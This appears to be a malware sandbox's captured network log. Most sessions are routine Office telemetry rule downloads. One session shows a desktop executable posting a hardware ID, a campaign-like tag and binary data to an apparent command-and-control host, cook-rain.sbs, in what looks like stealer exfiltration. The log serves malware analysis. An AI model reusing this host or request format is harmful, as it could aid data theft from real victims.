2024-11-22 00:02:29 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.7	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:29 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:29 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 3c827ba2-d01e-0014-367c-3bed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000229Z-178bfbc474bbbqrhhC1NYCvw7400000002bg000000009az2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:29 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.7	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:29 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:29 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:29 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 44e9982d-301e-001f-6639-3caa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000229Z-15b8b599d88z9sc7hC1TEBkr4w00000000tg000000009cz2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:29 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.7	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:30 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: feb62e3a-f01e-0085-1d2f-3c88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000231Z-178bfbc474bwlrhlhC1NYCy3kg000000023000000000v0g8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:31 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49734	104.21.66.38	443	7560	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:31 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HV5FNW7MCW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20359 Host: cook-rain.sbs
2024-11-22 00:02:31 UTC	15331	OUT	Data Raw: 2d 2d 48 56 35 46 4e 57 37 4d 43 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 44 44 30 30 37 35 32 43 41 41 38 41 36 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 48 56 35 46 4e 57 37 4d 43 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 48 56 35 46 4e 57 37 4d 43 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 48 56 35 46 4e 57 37 4d 43 57 0d 0a 43 6f Data Ascii: --HV5FNW7MCWContent-Disposition: form-data; name="hwid"4BDD00752CAA8A67D7CBBD6DF28D3732--HV5FNW7MCWContent-Disposition: form-data; name="pid"3--HV5FNW7MCWContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--HV5FNW7MCWCo
2024-11-22 00:02:31 UTC	5028	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d ae 2f f8 f5 58 32 78 29 1e bc 14 fc db e0 ab e6 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 6K~`iO\_,mi`m?ls}Qm/X2x)
2024-11-22 00:02:32 UTC	1005	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v9vmkh452vkclqad6eeeubp0e8; expires=Mon, 17-Mar-2025 17:49:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W3h7LHy0cE3pKC93fjYRazdpV6IXBLmjEDAuHG2eFJCb08OlqUXNxnHfELxcqD4rkCGnzodb%2FdJaQanRVib0D7CBBCoWMGO9IH3bxa9ggVb0lAh2%2B1b68K8xzsmQH4yi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e64a6b21ed35e6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1796&sent=14&recv=26&lost=0&retrans=0&sent_bytes=2829&recv_bytes=21310&delivery_rate=1640449&cwnd=222&unsent_bytes=0&cid=e1fb7265b2466091&ts=941&x=0"
2024-11-22 00:02:32 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-22 00:02:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.7	49730	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:31 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:31 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 2b92647c-c01e-00a2-646f-3b2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000231Z-174c587ffdf6b487hC1TEBydsn00000000pg000000002p5m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.7	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:31 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:31 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:31 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: babf4520-701e-005c-6e46-3cbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000231Z-178bfbc474btrnf9hC1NYCb80g000000028000000000tgwp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:31 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.7	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:31 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:31 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:31 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 4ec414f5-001e-0046-5fa0-3bda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000231Z-174c587ffdftv9hphC1TEBm29w00000000ng0000000060q5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:31 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.7	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:31 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:31 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: a72cf994-301e-0099-6e45-3c6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000231Z-178bfbc474bfw4gbhC1NYCunf40000000270000000008yzz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:31 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.7	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:33 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:33 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:33 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: ed298b8a-a01e-0002-322d-3c5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000233Z-178bfbc474b9xljthC1NYCtw94000000023000000000c83x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:33 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.7	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:33 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:33 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:33 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 87817176-601e-003e-034d-3c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000233Z-178bfbc474bpscmfhC1NYCfc2c00000000u0000000007web x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:33 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.7	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:33 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
